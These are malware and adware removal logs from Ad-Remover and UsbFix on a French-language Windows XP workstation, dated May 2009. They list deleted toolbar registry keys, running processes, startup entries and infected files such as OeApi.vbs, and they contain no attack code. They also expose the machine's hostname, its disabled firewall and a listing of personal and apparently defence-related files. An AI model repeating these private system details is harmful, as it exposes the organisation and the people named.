HKCR\MyWebSearchToolBar.ToolbarPlugin
HKCR\MyWebSearchToolBar.ToolbarPlugin.1
HKCR\screensavercontrol.screensaverinstaller
HKCR\screensavercontrol.screensaverinstaller.1
HKCU\Software\FunWebProducts
HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{56256A51-B582-467e-B8D4-7786EDA79AE0}
HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{00A6FAF1-072E-44CF-8957-5838F569A31D}
HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{00A6FAF6-072E-44CF-8957-5838F569A31D}
HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{07B18EA1-A523-4961-B6BB-170DE4475CCA}
HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{07B18EA9-A523-4961-B6BB-170DE4475CCA}
HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{1D4DB7D2-6EC9-47A3-BD87-1E41684E07BB}
HKCU\Software\MyWebSearch
HKLM\Software\Conduit
HKLM\Software\FocusInteractive
HKLM\Software\Fun Web Products
HKLM\Software\FunWebProducts
HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{59C7FC09-1C83-4648-B3E6-003D2BBC7481}
HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{68AF847F-6E91-45DD-9B68-D6A12C30E5D7}
HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{9170B96C-28D4-4626-8358-27E6CAEEF907}
HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{D1A71FA0-FF48-48DD-9B6D-7A13A3E42127}
HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{DDB1968E-EAD6-40FD-8DAE-FF14757F60C7}
HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{F138D901-86F0-4383-99B6-9CDD406036DA}
HKLM\Software\Microsoft\Internet Explorer\Low Rights\RunDll32Policy\f3ScrCtr.dll
HKLM\Software\Microsoft\Multimedia\WMPlayer\Schemes\f3pss
HKLM\Software\Microsoft\Office\Outlook\Addins\MyWebSearch.OutlookAddin
HKLM\Software\Microsoft\Office\Word\Addins\MyWebSearch.OutlookAddin
HKLM\Software\Microsoft\Windows\CurrentVersion\App Management\ARPCache\MyWebSearch bar Uninstall
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{07B18EAB-A523-4961-B6BB-170DE4475CCA}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{25560540-9571-4D7B-9389-0F166788785A}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{3DC201FB-E9C9-499C-A11F-23C360D7C3F8}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{3E720452-B472-4954-B7AA-33069EB53906}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{63D0ED2C-B45B-4458-8B3B-60C69BBBD83C}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{7473d294-b7bb-4f24-ae82-7e2ce94bb6a9}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{98D9753D-D73B-42D5-8C85-4469CDA897AB}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{9FF05104-B030-46FC-94B8-81276E4E27DF}
HKLM\Software\Microsoft\Windows\CurrentVersion\Ext\PreApproved\{E79DFBCA-5697-4FBD-94E5-5B2A9C7C1612}
HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\MyWebSearch bar Uninstall
HKLM\Software\MyWebSearch
HKLM\SYSTEM\ControlSet002\Enum\Root\LEGACY_MYWEBSEARCHSERVICE
HKLM\SYSTEM\ControlSet002\Services\MyWebSearchService
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\\MyWebSearch Email Plugin
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\My Web Search Bar Search Scope Monitor
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\MyWebSearch Email Plugin
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\\MyWebSearch Plugin
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform\\FunWebProducts
HKLM\Software\Microsoft\Windows Media\Wmsdk\Sources\\F3popularscreensavers
HKCU\Software\Microsoft\Internet Explorer\UrlSearchHooks\\{00A6FAF6-072E-44CF-8957-5838F569A31D}
HKCU\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\\{07B18EA9-A523-4961-B6BB-170DE4475CCA}
HKLM\Software\Microsoft\Internet Explorer\Toolbar\\{07B18EA9-A523-4961-B6BB-170DE4475CCA}
HKLM\Software\Classes\CLSID\{00A6FAF1-072E-44cf-8957-5838F569A31D}
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{00A6FAF1-072E-44cf-8957-5838F569A31D}
HKLM\Software\Classes\CLSID\{00A6FAF6-072E-44cf-8957-5838F569A31D}
HKLM\Software\Classes\CLSID\{07B18EA1-A523-4961-B6BB-170DE4475CCA}
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{07B18EA1-A523-4961-B6BB-170DE4475CCA}
HKLM\Software\Classes\CLSID\{07B18EA9-A523-4961-B6BB-170DE4475CCA}
HKLM\Software\Classes\CLSID\{07B18EAB-A523-4961-B6BB-170DE4475CCA}
HKLM\Software\Classes\CLSID\{0F8ECF4F-3646-4C3A-8881-8E138FFCAF70}
HKLM\Software\Classes\CLSID\{25560540-9571-4D7B-9389-0F166788785A}
HKLM\Software\Classes\CLSID\{3DC201FB-E9C9-499C-A11F-23C360D7C3F8}
HKLM\Software\Classes\CLSID\{3E720452-B472-4954-B7AA-33069EB53906}
HKLM\Software\Classes\CLSID\{53CED2D0-5E9A-4761-9005-648404E6F7E5}
HKLM\Software\Classes\CLSID\{63D0ED2C-B45B-4458-8B3B-60C69BBBD83C}
HKLM\Software\Classes\CLSID\{7473D292-B7BB-4f24-AE82-7E2CE94BB6A9}
HKLM\Software\Classes\CLSID\{7473D294-B7BB-4f24-AE82-7E2CE94BB6A9}
HKLM\Software\Classes\CLSID\{7473D296-B7BB-4f24-AE82-7E2CE94BB6A9}
HKLM\Software\Classes\CLSID\{84DA4FDF-A1CF-4195-8688-3E961F505983}
HKLM\Software\Classes\CLSID\{8E6F1832-9607-4440-8530-13BE7C4B1D14}
HKLM\Software\Classes\CLSID\{938AA51A-996C-4884-98CE-80DD16A5C9DA}
HKLM\Software\Classes\CLSID\{98D9753D-D73B-42D5-8C85-4469CDA897AB}
HKLM\Software\Classes\CLSID\{9FF05104-B030-46FC-94B8-81276E4E27DF}
HKLM\Software\Classes\CLSID\{A9571378-68A1-443d-B082-284F960C6D17}
HKLM\Software\Classes\CLSID\{ADB01E81-3C79-4272-A0F1-7B2BE7A782DC}
HKLM\Software\Classes\CLSID\{B813095C-81C0-4E40-AA14-67520372B987}
HKLM\Software\Classes\CLSID\{C9D7BE3E-141A-4C85-8CD6-32461F3DF2C7}
HKLM\Software\Classes\CLSID\{CFF4CE82-3AA2-451F-9B77-7165605FB835}
HKLM\Software\Classes\CLSID\{D9FFFB27-D62A-4D64-8CEC-1FF006528805}
HKLM\Software\Classes\CLSID\{E79DFBCA-5697-4fbd-94E5-5B2A9C7C1612}
.
C:\Program Files\Conduit
C:\Program Files\FunWebProducts
/!\ NOT DELETED - C:\Program Files\MyWebSearch
C:\windows\System32\f3PSSavr.scr
C:\Program Files\Windows Live\Messenger\Riched20.dll
C:\Program Files\Windows Live\Messenger\Msimg32.dll
C:\Program Files\Internet Explorer\msimg32.dll

(!) -- Temp files deleted.
(!) -- Recycle bin emptied in all drives.


********** /!\ FILE(S)/FOLDER(S) NOT DELETED /!\ **********

"C:\Program Files\MyWebSearch"

Second run ...

/!\ RESIST ! - "C:\Program Files\MyWebSearch"


+-----------------| Added Scan:
.

---- Internet Explorer Version 8.0.6001.18702 ----

[HKEY_CURRENT_USER\..\Internet Explorer\Main]

Default_Page_URL: hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
Default_Search_URL: hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
Search bar: hxxp://go.microsoft.com/fwlink/?linkid=54896
Search Page: hxxp://www.google.com
Start Page: hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome

[HKEY_USERS\S-1-5-21-1801674531-113007714-839522115-500\..\Internet Explorer\Main]

Default_Page_URL: hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
Default_Search_URL: hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
Search bar: hxxp://go.microsoft.com/fwlink/?linkid=54896
Search Page: hxxp://www.google.com
Start Page: hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome

[HKEY_LOCAL_MACHINE\..\Internet Explorer\Main]

Default_Page_URL: hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome
Default_Search_URL: hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
Search bar: hxxp://search.msn.com/spbasic.htm
Search Page: hxxp://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
Start Page: hxxp://fr.msn.com/

[HKEY_LOCAL_MACHINE\..\Internet Explorer\ABOUTURLS]

Tabs: hxxp://ieframe.dll/tabswelcome.htm

=========== Suspicious ==========


+---------------------------------------------------------------------------+

10024 Byte(s) - C:\Ad-Report-Clean-19.05.2009.log
11042 Byte(s) - C:\Ad-Report-Scan-19.05.2009.log

18 File(s) - C:\Program Files\Ad-remover\BACKUP
3 File(s) - C:\Program Files\Ad-remover\QUARANTINE

End at: 18:40:21 | 19/05/2009
.
+-----------------| E.O.F
.

############################## [ UsbFix V3.021 # Scan ]

# User : administrator () # WKS-GEN-EGN-001
# Update on 16/05/09 by Chiquitine29, C_XX & Chimay8
# WebSite : http://pagesperso-orange.fr/NosTools/usbfix.html
# Start at: 19:44:39 | 19/05/2009

# Intel(R) Pentium(R) Dual CPU E2200 @ 2.20GHz
# Microsoft Windows XP Professionnel (5.1.2600 32-bit) # Service Pack 3
# Internet Explorer 8.0.6001.18702
# Windows Firewall Status : Disabled
# AV : Symantec Endpoint Protection 11.0.777.1008 [ Enabled | Updated ]

# C:\ # Disque fixe local # 39,06 Go (14,45 Go free) # NTFS
# D:\ # Disque fixe local # 109,98 Go (4,56 Go free) # NTFS
# E:\ # Disque CD-ROM
# F:\ # Disque fixe local # 111,79 Go (65,09 Go free) # NTFS
# G:\ # Disque amovible # 993,38 Mo (258,56 Mo free) [TWINMOS] # FAT
# R:\ # Connexion réseau # 97,66 Go (96,61 Go free) [Data] # NTFS
# S:\ # Connexion réseau # 97,66 Go (96,61 Go free) [Data] # NTFS

############################## [ Processus actifs ]

C:\windows\System32\smss.exe
C:\windows\system32\csrss.exe
C:\windows\system32\winlogon.exe
C:\windows\system32\services.exe
C:\windows\system32\lsass.exe
C:\windows\system32\svchost.exe
C:\windows\system32\svchost.exe
C:\windows\System32\svchost.exe
C:\Program Files\Symantec\Symantec Endpoint Protection\Smc.exe
C:\windows\system32\svchost.exe
C:\windows\system32\svchost.exe
C:\windows\system32\spoolsv.exe
C:\windows\system32\svchost.exe
C:\Program Files\Fichiers communs\Symantec Shared\ccSvcHst.exe
C:\Program Files\Google\Update\GoogleUpdate.exe
C:\Program Files\Nero\Nero 7\InCD\InCDsrv.exe
C:\windows\system32\svchost.exe
C:\Program Files\Yahoo!\SoftwareUpdate\YahooAUService.exe
C:\Program Files\Symantec\Symantec Endpoint Protection\Rtvscan.exe
C:\windows\System32\alg.exe
C:\windows\system32\CAP3RSK.EXE
C:\windows\system32\CAPRPCSK.EXE
C:\windows\system32\CNAB4RPK.EXE
C:\Program Files\Symantec\Symantec Endpoint Protection\SmcGui.exe
C:\Program Files\Analog Devices\Core\smax4pnp.exe
C:\WINDOWS\system32\igfxsrvc.exe
C:\WINDOWS\system32\igfxpers.exe
C:\Program Files\Fichiers communs\Symantec Shared\ccApp.exe
C:\Program Files\ScanSoft\OmniPageSE4.0\OpwareSE4.exe
C:\Program Files\Nero\Nero 7\InCD\NBHGui.exe
C:\Program Files\Nero\Nero 7\InCD\InCD.exe
C:\Program Files\Fichiers communs\Real\Update_OB\realsched.exe
C:\Program Files\Yahoo!\Search Protection\SearchProtection.exe
C:\windows\System32\WScript.exe
C:\Program Files\EasyPHP1-7\easyphp.exe
C:\windows\V0330Mon.exe
C:\Program Files\HP\HP Software Update\HPWuSchd2.exe
C:\windows\system32\ctfmon.exe
C:\Program Files\Microsoft Etudes\Microsoft Encarta 2008 - Études DVD\EDICT.EXE
C:\Program Files\Google\Google Desktop Search\GoogleDesktop.exe
C:\Program Files\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe
C:\Program Files\SuperCopier2\SuperCopier2.exe
C:\Program Files\Messenger\msmsgs.exe
C:\Program Files\iXi Tools\Driver Updater Pro\DriverUpdaterPro.exe
C:\Program Files\Free Download Manager\fdm.exe
C:\Program Files\Software Informer\softinfo.exe
C:\WINDOWS\system32\spool\drivers\w32x86\3\CAPPSWK.EXE
C:\windows\system32\spool\drivers\w32x86\3\CAPPSWK.EXE
C:\windows\system32\spool\drivers\w32x86\3\CAPPSWK.EXE
C:\Program Files\Micro Application\12 DICOS Indispensables\MediaDICO12.EXE
C:\WINDOWS\system32\spool\drivers\w32x86\3\CAP3LAK.EXE
C:\WINDOWS\SYSTEM32\SPOOL\DRIVERS\W32X86\3\CAP3SWK.EXE
C:\PROGRA~1\EASYPH~1\Apache\apache.exe
C:\PROGRA~1\EASYPH~1\Apache\apache.exe
C:\Program Files\Micro Application\12 DICOS Indispensables\Rac12.EXE
C:\Program Files\HP\Digital Imaging\bin\hpqtra08.exe
C:\Program Files\WordWeb\wweb32.exe
C:\PROGRA~1\EASYPH~1\MySql\bin\mysqld.exe
C:\Program Files\HP\Digital Imaging\bin\hpqimzone.exe
C:\Program Files\HP\Digital Imaging\bin\hpqSTE08.exe
C:\Program Files\HP\Digital Imaging\Product Assistant\bin\hprblog.exe
C:\Program Files\Google\Google Desktop Search\GoogleDesktopIndex.exe
C:\Program Files\Google\Google Desktop Search\GoogleDesktopDisplay.exe
C:\Program Files\Google\Google Desktop Search\GoogleDesktopCrawl.exe
C:\windows\explorer.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\Program Files\Internet Explorer\iexplore.exe
C:\windows\system32\wuauclt.exe
C:\windows\system32\wbem\wmiprvse.exe

################## [ Registre # Startup ]

HKCU_Main: "Local Page"="C:\\windows\\system32\\blank.htm"
HKCU_Main: "Search Page"="https://www.google.com/?gws_rd=ssl"
HKCU_Main: "Start Page"="http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome"
HKCU_Main: "Window Title"=""
HKLM_logon: "Userinit"="C:\\windows\\system32\\userinit.exe,"
HKLM_logon: "DefaultUserName"="administrator"
HKLM_logon: "AltDefaultUserName"="administrator"
HKLM_logon: "LegalNoticeCaption"=""
HKLM_logon: "LegalNoticeText"=""
HKLM_Run: SoundMAXPnP=C:\Program Files\Analog Devices\Core\smax4pnp.exe
HKLM_Run: IgfxTray=C:\WINDOWS\system32\igfxtray.exe
HKLM_Run: HotKeysCmds=C:\WINDOWS\system32\hkcmd.exe
HKLM_Run: Persistence=C:\WINDOWS\system32\igfxpers.exe
HKLM_Run: ccApp="C:\Program Files\Fichiers communs\Symantec Shared\ccApp.exe"
HKLM_Run: SSBkgdUpdate="C:\Program Files\Fichiers communs\Scansoft Shared\SSBkgdUpdate\SSBkgdupdate.exe" -Embedding -boot
HKLM_Run: OpwareSE4="C:\Program Files\ScanSoft\OmniPageSE4.0\OpwareSE4.exe"
HKLM_Run: NeroFilterCheck=C:\Program Files\Fichiers communs\Ahead\Lib\NeroCheck.exe
HKLM_Run: SecurDisc=C:\Program Files\Nero\Nero 7\InCD\NBHGui.exe
HKLM_Run: InCD=C:\Program Files\Nero\Nero 7\InCD\InCD.exe
HKLM_Run: Yahoo Messenger=
HKLM_Run: CAPON=C:\WINDOWS\system32\Spool\Drivers\w32x86\3\CAPONN.EXE
HKLM_Run: Adobe Reader Speed Launcher="C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe"
HKLM_Run: TkBellExe="C:\Program Files\Fichiers communs\Real\Update_OB\realsched.exe" -osboot
HKLM_Run: Synchronization Manager=%SystemRoot%\system32\mobsync.exe /logon
HKLM_Run: YSearchProtection="C:\Program Files\Yahoo!\Search Protection\SearchProtection.exe"
HKLM_Run: System=C:\WINDOWS\system32\OeApi.vbs
HKLM_Run: EasyPHP="C:\Program Files\EasyPHP1-7\easyphp.exe"
HKLM_Run: V0330Mon.exe=C:\windows\V0330Mon.exe
HKLM_Run: CAP3ON=C:\windows\system32\spool\drivers\w32x86\3\CAP3ONN.EXE
HKLM_Run: HP Software Update=C:\Program Files\HP\HP Software Update\HPWuSchd2.exe
HKLM_Run: HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\OptionalComponents=
HKCU_Run: CTFMON.EXE=C:\windows\system32\ctfmon.exe
HKCU_Run: PowerDVD="C:\Program Files\CyberLink\PowerDVD\PowerDVD.exe" /autostart
HKCU_Run: L08FXLRD_12649312="C:\Program Files\Microsoft Etudes\Microsoft Encarta 2008 - Études DVD\EDICT.EXE" -m
HKCU_Run: RayV=C:\Program Files\RayV\RayV\RayV.exe /background
HKCU_Run: WrCtrl="C:\Program Files\Kerio\WinRoute Firewall\wrctrl.exe"
HKCU_Run: Google Desktop Search="C:\Program Files\Google\Google Desktop Search\GoogleDesktop.exe" /startup
HKCU_Run: swg=C:\Program Files\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe
HKCU_Run: SuperCopier2.exe=C:\Program Files\SuperCopier2\SuperCopier2.exe
HKCU_Run: msnmsgr="C:\Program Files\Windows Live\Messenger\msnmsgr.exe" /background
HKCU_Run: MSMSGS="C:\Program Files\Messenger\msmsgs.exe" /background
HKCU_Run: DriverUpdaterPro=C:\Program Files\iXi Tools\Driver Updater Pro\DriverUpdaterPro.exe -t
HKCU_Run: MediaDico=C:\Program Files\Micro Application\12 DICOS Indispensables\LanceMediaDICO12.exe Lancement
HKCU_Run: Free Download Manager="C:\Program Files\Free Download Manager\fdm.exe" -autorun
HKCU_Run: Software Informer="C:\Program Files\Software Informer\softinfo.exe" -autorun
HKCU_Run: fsm=

################## [ Fichiers # Dossiers infectieux ]

Found ! C:\windows\system32\OeApi.vbs
Found ! C:\ij.bat

################## [ Registre # Clés Run infectieuses ]

Found ! HKLM\Software\Microsoft\Windows\CurrentVersion\Run "System"
Found ! HKLM\Software\Microsoft\Windows\CurrentVersion\Run "system"

################## [ Registre # Mountpoints2 ]

HKCU\...\Explorer\MountPoints2\{dc7a77e0-2e33-11de-bd9d-0022190900a7}\Shell\AutoRun\Command
HKCU\...\Explorer\MountPoints2\{dc7a77e0-2e33-11de-bd9d-0022190900a7}\Shell\open\Command

################## [ ! Fin du rapport # UsbFix V3.021 ! ]

############################## [ UsbFix V3.021 # Cleaning ]

# User : administrator () # WKS-GEN-EGN-001
# Update on 16/05/09 by Chiquitine29, C_XX & Chimay8
# WebSite : http://pagesperso-orange.fr/NosTools/usbfix.html
# Start at: 20:09:43 | 19/05/2009

# Intel(R) Pentium(R) Dual CPU E2200 @ 2.20GHz
# Microsoft Windows XP Professionnel (5.1.2600 32-bit) # Service Pack 3
# Internet Explorer 8.0.6001.18702
# Windows Firewall Status : Disabled
# AV : Symantec Endpoint Protection 11.0.777.1008 [ Enabled | Updated ]

# C:\ # Disque fixe local # 39,06 Go (14,46 Go free) # NTFS
# D:\ # Disque fixe local # 109,98 Go (4,56 Go free) # NTFS
# E:\ # Disque CD-ROM
# F:\ # Disque fixe local # 111,79 Go (65,09 Go free) # NTFS
# G:\ # Disque amovible # 993,38 Mo (258,56 Mo free) [TWINMOS] # FAT
# R:\ # Connexion réseau # 97,66 Go (96,61 Go free) [Data] # NTFS
# S:\ # Connexion réseau # 97,66 Go (96,61 Go free) [Data] # NTFS

############################## [ Processus actifs ]

C:\windows\System32\smss.exe
C:\windows\system32\csrss.exe
C:\windows\system32\winlogon.exe
C:\windows\system32\services.exe
C:\windows\system32\lsass.exe
C:\windows\system32\svchost.exe
C:\windows\system32\svchost.exe
C:\windows\System32\svchost.exe
C:\Program Files\Symantec\Symantec Endpoint Protection\Smc.exe
C:\windows\system32\svchost.exe
C:\windows\system32\svchost.exe
C:\windows\system32\spoolsv.exe
C:\windows\system32\svchost.exe
C:\Program Files\Fichiers communs\Symantec Shared\ccSvcHst.exe
C:\Program Files\Google\Update\GoogleUpdate.exe
C:\Program Files\Google\Update\GoogleUpdate.exe
C:\Program Files\Google\Common\Google Updater\GoogleUpdaterService.exe
C:\Program Files\Google\Update\GoogleUpdate.exe
C:\Program Files\Nero\Nero 7\InCD\InCDsrv.exe
C:\windows\system32\HPZipm12.exe
C:\windows\system32\svchost.exe
C:\Program Files\Yahoo!\SoftwareUpdate\YahooAUService.exe
C:\Program Files\Symantec\Symantec Endpoint Protection\Rtvscan.exe
C:\Program Files\Google\Update\GoogleUpdate.exe
C:\windows\Explorer.EXE
C:\windows\system32\userinit.exe
C:\windows\System32\alg.exe
C:\Program Files\Symantec\Symantec Endpoint Protection\SmcGui.exe
C:\windows\system32\wbem\wmiprvse.exe
C:\WINDOWS\system32\msiexec.exe
C:\windows\system32\CAP3RSK.EXE
C:\windows\system32\CAPRPCSK.EXE
C:\windows\system32\CNAB4RPK.EXE
C:\windows\system32\spool\drivers\w32x86\3\CAPPSWK.EXE
C:\windows\system32\spool\drivers\w32x86\3\CAPPSWK.EXE
C:\WINDOWS\SYSTEM32\SPOOL\DRIVERS\W32X86\3\CAP3SWK.EXE

################## [ Fichiers # Dossiers infectieux ]

Deleted ! C:\windows\system32\OeApi.vbs
Deleted ! C:\ij.bat

################## [ Registre # Clés Run infectieuses ]

Deleted ! HKLM\Software\Microsoft\Windows\CurrentVersion\Run "System"

################## [ Registre # Mountpoints2 ]

Deleted ! HKCU\...\Explorer\MountPoints2\{dc7a77e0-2e33-11de-bd9d-0022190900a7}\Shell\AutoRun\Command

################## [ Listing des fichiers présent ]

[19/05/2009 18:40|--a------|10294] - C:\Ad-Report-Clean-19.05.2009.log
[19/05/2009 17:50|--a------|11042] - C:\Ad-Report-Scan-19.05.2009.log
[28/09/2001 15:00|-rahs----|4952] - C:\Bootfont.bin
[30/04/2009 10:55|--a------|287] - C:\hpfr3420.log
[30/04/2009 10:55|--a------|492] - C:\hpfr3420.xml
[19/03/2009 09:57|-rahs----|0] - C:\IO.SYS
[19/03/2009 09:57|-rahs----|0] - C:\MSDOS.SYS
[03/08/2004 22:38|-rahs----|47564] - C:\NTDETECT.COM
[03/05/2009 06:34|-rahs----|252240] - C:\ntldr
[15/04/2009 14:44|--a------|262144] - C:\ntuser.dat
[15/04/2009 14:44|--ah-----|1024] - C:\ntuser.dat.LOG
[?|?|?] - C:\pagefile.sys
[29/04/2009 07:40|--a------|86] - C:\Setup.log
[14/05/2009 12:53|--ah-----|268] - C:\sqmdata00.sqm
[14/05/2009 12:54|--ah-----|268] - C:\sqmdata01.sqm
[16/05/2009 08:14|--ah-----|268] - C:\sqmdata02.sqm
[16/05/2009 08:39|--ah-----|268] - C:\sqmdata03.sqm
[18/05/2009 08:20|--ah-----|268] - C:\sqmdata04.sqm
[18/05/2009 13:09|--ah-----|268] - C:\sqmdata05.sqm
[19/05/2009 07:07|--ah-----|268] - C:\sqmdata06.sqm
[19/05/2009 11:46|--ah-----|268] - C:\sqmdata07.sqm
[13/05/2009 12:33|--ah-----|268] - C:\sqmdata08.sqm
[13/05/2009 13:21|--ah-----|268] - C:\sqmdata09.sqm
[14/05/2009 07:36|--ah-----|268] - C:\sqmdata10.sqm
[19/05/2009 11:51|--ah-----|268] - C:\sqmdata11.sqm
[19/05/2009 15:45|--ah-----|268] - C:\sqmdata12.sqm
[13/05/2009 11:39|--ah-----|268] - C:\sqmdata13.sqm
[13/05/2009 12:30|--ah-----|268] - C:\sqmdata14.sqm
[14/05/2009 07:37|--ah-----|268] - C:\sqmdata15.sqm
[14/05/2009 09:36|--ah-----|268] - C:\sqmdata16.sqm
[16/05/2009 13:27|--ah-----|268] - C:\sqmdata17.sqm
[18/05/2009 07:30|--ah-----|268] - C:\sqmdata18.sqm
[18/05/2009 07:34|--ah-----|268] - C:\sqmdata19.sqm
[14/05/2009 12:53|--ah-----|244] - C:\sqmnoopt00.sqm
[14/05/2009 12:54|--ah-----|244] - C:\sqmnoopt01.sqm
[16/05/2009 08:14|--ah-----|244] - C:\sqmnoopt02.sqm
[16/05/2009 08:39|--ah-----|244] - C:\sqmnoopt03.sqm
[18/05/2009 08:20|--ah-----|244] - C:\sqmnoopt04.sqm
[18/05/2009 13:09|--ah-----|244] - C:\sqmnoopt05.sqm
[19/05/2009 07:07|--ah-----|244] - C:\sqmnoopt06.sqm
[19/05/2009 11:46|--ah-----|244] - C:\sqmnoopt07.sqm
[13/05/2009 12:33|--ah-----|244] - C:\sqmnoopt08.sqm
[13/05/2009 13:21|--ah-----|244] - C:\sqmnoopt09.sqm
[14/05/2009 07:36|--ah-----|244] - C:\sqmnoopt10.sqm
[19/05/2009 11:51|--ah-----|244] - C:\sqmnoopt11.sqm
[19/05/2009 15:45|--ah-----|244] - C:\sqmnoopt12.sqm
[13/05/2009 11:39|--ah-----|244] - C:\sqmnoopt13.sqm
[13/05/2009 12:30|--ah-----|244] - C:\sqmnoopt14.sqm
[14/05/2009 07:37|--ah-----|244] - C:\sqmnoopt15.sqm
[14/05/2009 09:36|--ah-----|244] - C:\sqmnoopt16.sqm
[16/05/2009 13:27|--ah-----|244] - C:\sqmnoopt17.sqm
[18/05/2009 07:30|--ah-----|244] - C:\sqmnoopt18.sqm
[18/05/2009 07:34|--ah-----|244] - C:\sqmnoopt19.sqm
[19/05/2009 20:11|--a------|5820] - C:\UsbFix.txt
[23/11/2008 10:30|--a------|29184] - D:\a.doc
[23/08/2008 09:32|--a------|20992] - D:\ADD.doc
[23/09/2008 11:19|--a------|25088] - D:\ADEN.doc
[14/03/2009 09:02|--a------|26897264] - D:\ADOBE 9.exe
[23/07/2007 11:01|--a------|98304] - D:\AFFECTATION PC.doc
[26/03/2009 10:44|--a------|187542] - D:\ali ahmed.jpg
[23/04/2009 09:03|--a------|23552] - D:\aref.doc
[04/04/2007 09:13|--a------|28160] - D:\besoin complementaire.doc
[10/11/2008 10:56|--a------|34816] - D:\BESOIN DE MATERIEL.doc
[28/09/2008 11:38|--a------|30720] - D:\besoin en ordinateur des unit‚s.doc
[22/07/2007 12:59|--a------|34304] - D:\BESOIN MATERIEL INFORMATIQUE.doc
[24/01/2009 09:22|--a------|3449856] - D:\bon essence3.doc
[10/03/2009 10:01|--a------|19456] - D:\charlie.xls
[04/08/2007 13:02|--a------|18944] - D:\Classeur1.xls
[28/10/2007 10:37|--a------|21504] - D:\Copie de Copie de Statistiques PJ Mois d'AOUT O7.xls
[28/10/2007 10:38|--a------|20480] - D:\Copie de Copie de Statistiques PJ Mois de JUILLET O7.xls
[10/02/2009 09:39|--a------|156441] - D:\D.jpg
[19/08/2008 11:03|--a------|20992] - D:\dalieh.doc
[26/02/2009 10:09|--a------|92366] - D:\DD.jpg
[14/12/2008 13:37|--a------|152064] - D:\DECHARGE.11.2008.doc
[09/11/2008 15:49|--a------|50176] - D:\DECHARGE.doc
[01/09/2008 13:27|--a------|62464] - D:\dem mat.doc
[18/03/2009 09:25|--a------|17408] - D:\DEVIS.xls
[22/02/2009 09:14|--a------|106257] - D:\doc.jpg
[04/10/2008 08:48|--a------|112128] - D:\DOTATION EXISTANTE DES ORDINATEURS.doc
[07/04/2007 22:18|--a------|119046] - D:\DOUK.jpg
[21/03/2009 11:02|--a------|71310] - D:\ep.OMAR.jpg
[26/03/2009 10:38|--a------|42364] - D:\ep.yassin.jpg
[28/10/2008 15:03|--a------|140800] - D:\formation de medecin pour le nouveau protocole 1.ppt
[24/02/2009 11:23|--a------|941748] - D:\Gardes C“tes copy.jpg
[24/09/2007 09:45|--a------|32931912] - D:\kerio-kwf-6.4.0-3176-win32.exe
[02/10/2008 12:40|--a------|90624] - D:\LISTE DES UNITES.doc
[31/08/2008 17:25|--a------|56832] - D:\LISTES DES IMPRIMANTES.doc
[25/04/2009 11:13|--a------|245248] - D:\logo gendarmerie.doc
[17/07/2008 11:09|--a------|33792] - D:\MAJ AV.doc
[12/04/2007 00:02|--a------|37888] - D:\merito.doc
[25/09/2007 11:29|--a------|53760] - D:\MINISTERE DE LA DEFENSE.doc
[23/04/2009 10:14|--a------|26112] - D:\mouna.doc
[07/04/2007 23:55|--a------|3006208] - D:\O.jpg
[13/08/2007 19:13|--a------|285184] - D:\orsec.doc
[30/11/2008 14:15|--a------|59392] - D:\PERMA.doc
[07/10/2008 11:32|--a------|22016] - D:\PROPOSITION AFFECTATION PC.doc
[22/11/2008 11:01|--a------|56832] - D:\PV de reunion.doc
[23/11/2008 09:43|--a------|26624] - D:\PV REUNION.doc
[12/07/2007 08:49|--a------|341504] - D:\RECAP HADITH.doc
[24/11/2007 11:13|--a------|28160] - D:\RECU DES FRAIS.doc
[03/07/2007 17:05|--a------|20480] - D:\REMERCIEMENT.doc
[01/02/2008 18:57|--a------|26624] - D:\segueh.doc
[07/04/2007 23:10|--a------|3152480] - D:\t.jpg
[26/02/2009 09:56|--a------|94784] - D:\TT.jpg
